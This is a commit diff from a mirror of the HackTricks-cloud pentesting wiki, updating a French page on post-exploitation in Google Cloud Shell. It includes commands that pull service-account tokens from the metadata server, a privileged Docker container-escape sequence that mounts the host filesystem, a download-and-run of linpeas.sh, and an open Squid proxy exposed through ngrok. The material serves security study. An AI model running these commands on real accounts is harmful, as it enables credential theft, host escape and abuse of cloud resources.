gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-12 07:40:49 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation

Browse Source
This commit is contained in:
Translator
2025-12-08 11:37:18 +00:00
parent 83dc2e9d86
commit b2a76c0f5b
1 changed files with 27 additions and 39 deletions
Download Patch File Download Diff File Expand all files Collapse all files

66
src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md
View File

@@ -4,46 +4,46 @@
## Cloud Shell ## Cloud Shell
Pour plus d'informations sur Cloud Shell, consultez : Pour plus d'informations sur Cloud Shell, voir :
{{#ref}} {{#ref}}
../gcp-services/gcp-cloud-shell-enum.md ../gcp-services/gcp-cloud-shell-enum.md
{{#endref}} {{#endref}}
### Container Escape ### Obtention du token de l'utilisateur depuis le serveur de métadonnées
Notez que Google Cloud Shell s'exécute dans un container : vous pouvez **easily escape to the host** en faisant : En accédant simplement au serveur de métadonnées, vous pouvez obtenir un token pour accéder en tant qu'utilisateur actuellement connecté :
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
```
### Container Escape / Docker use
> [!WARNING]
> Auparavant, le cloud shell s'exécutait dans un conteneur avec accès au docker socket de l'hôte. Maintenant Google a changé l'architecture et le conteneur cloud shell exécute une configuration "Docker in a container". Ainsi, même s'il est possible d'utiliser docker depuis le cloud shell, vous ne pourrez pas vous échapper vers l'hôte en utilisant le docker socket.
> Notez qu'auparavant le fichier `docker.sock` était situé dans `/google/host/var/run/docker.sock` mais maintenant il a été déplacé vers `/run/docker.sock`.
<details> <details>
<summary>Container escape commands</summary> <summary>Docker use / Old container escape commands</summary>
```bash ```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper sudo docker -H unix:///run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
``` ```
</details> </details>
Ceci n'est pas considéré comme une vulnérabilité par google, mais cela vous donne une vision plus large de ce qui se passe dans cet environnement. De plus, par le passé, il était possible de trouver un token pour un service account utilisé par le cloud shell VM dans le metadata server :
De plus, notez que depuis l'hôte, vous pouvez trouver un service account token :
<details> <details>
<summary>Récupérer le service account depuis les metadata</summary> <summary>Ancien service account provenant du metadata</summary>
```bash ```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/ default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
``` ```
</details> Avec les autorisations (scopes) suivantes :
Avec les scopes suivants :
<details>
<summary>Obtenir les scopes du compte de service</summary>
```bash ```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes" wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write
``` ```
</details> </details>
Énumérer les métadonnées avec LinPEAS :
<details>
<summary>Énumérer les métadonnées avec LinPEAS</summary>
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
</details>
Après avoir utilisé [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) avec le token du Service Account **aucune permission n'a été découverte**...
### L'utiliser comme proxy ### L'utiliser comme proxy
Si vous voulez utiliser votre instance google cloud shell comme proxy, vous devez exécuter les commandes suivantes (ou les insérer dans le fichier .bashrc) : Si vous voulez utiliser votre google cloud shell instance comme proxy vous devez exécuter les commandes suivantes (ou les insérer dans le fichier .bashrc) :
<details> <details>
@@ -79,7 +67,7 @@ sudo apt install -y squid
``` ```
</details> </details>
À titre d'information, Squid est un serveur proxy http. Créez un fichier **squid.conf** avec les paramètres suivants : Pour information, Squid est un serveur proxy http. Créez un fichier **squid.conf** avec les paramètres suivants :
<details> <details>
@@ -92,11 +80,11 @@ http_access allow all
``` ```
</details> </details>
Copiez le fichier **squid.conf** dans **/etc/squid** copiez le fichier **squid.conf** dans **/etc/squid**
<details> <details>
<summary>Copier la configuration dans /etc/squid</summary> <summary>Copier la configuration dans **/etc/squid**</summary>
```bash ```bash
sudo cp squid.conf /etc/squid sudo cp squid.conf /etc/squid
``` ```
@@ -112,7 +100,7 @@ sudo service squid start
``` ```
</details> </details>
Utilisez ngrok pour rendre le proxy accessible depuis l'extérieur : Utilisez ngrok pour rendre le proxy accessible depuis l'extérieur :
<details> <details>
@@ -122,9 +110,9 @@ Utilisez ngrok pour rendre le proxy accessible depuis l'extérieur :
``` ```
</details> </details>
Après exécution, copiez l'URL tcp://. Si vous souhaitez lancer le proxy depuis un browser, il est conseillé de retirer la partie tcp:// ainsi que le numéro de port, puis de mettre ce port dans le champ de port des paramètres proxy de votre browser (squid est un http proxy server). Après exécution, copiez l'URL tcp://. Si vous souhaitez utiliser le proxy depuis un navigateur, il est conseillé de supprimer la partie tcp:// et le port, puis de mettre le port dans le champ de port des paramètres proxy de votre navigateur (squid is a http proxy server).
Pour un meilleur fonctionnement au démarrage le fichier .bashrc doit contenir les lignes suivantes : Pour une meilleure utilisation au démarrage, le fichier .bashrc devrait contenir les lignes suivantes :
<details> <details>
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
``` ```
</details> </details>
Les instructions ont été copiées depuis [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Consultez cette page pour d'autres idées folles pour exécuter n'importe quel type de logiciel (databases et même windows) dans Cloud Shell. Les instructions ont été copiées depuis [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key]. Consultez cette page pour d'autres idées folles permettant d'exécuter n'importe quel type de logiciel (bases de données et même Windows) dans Cloud Shell.
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}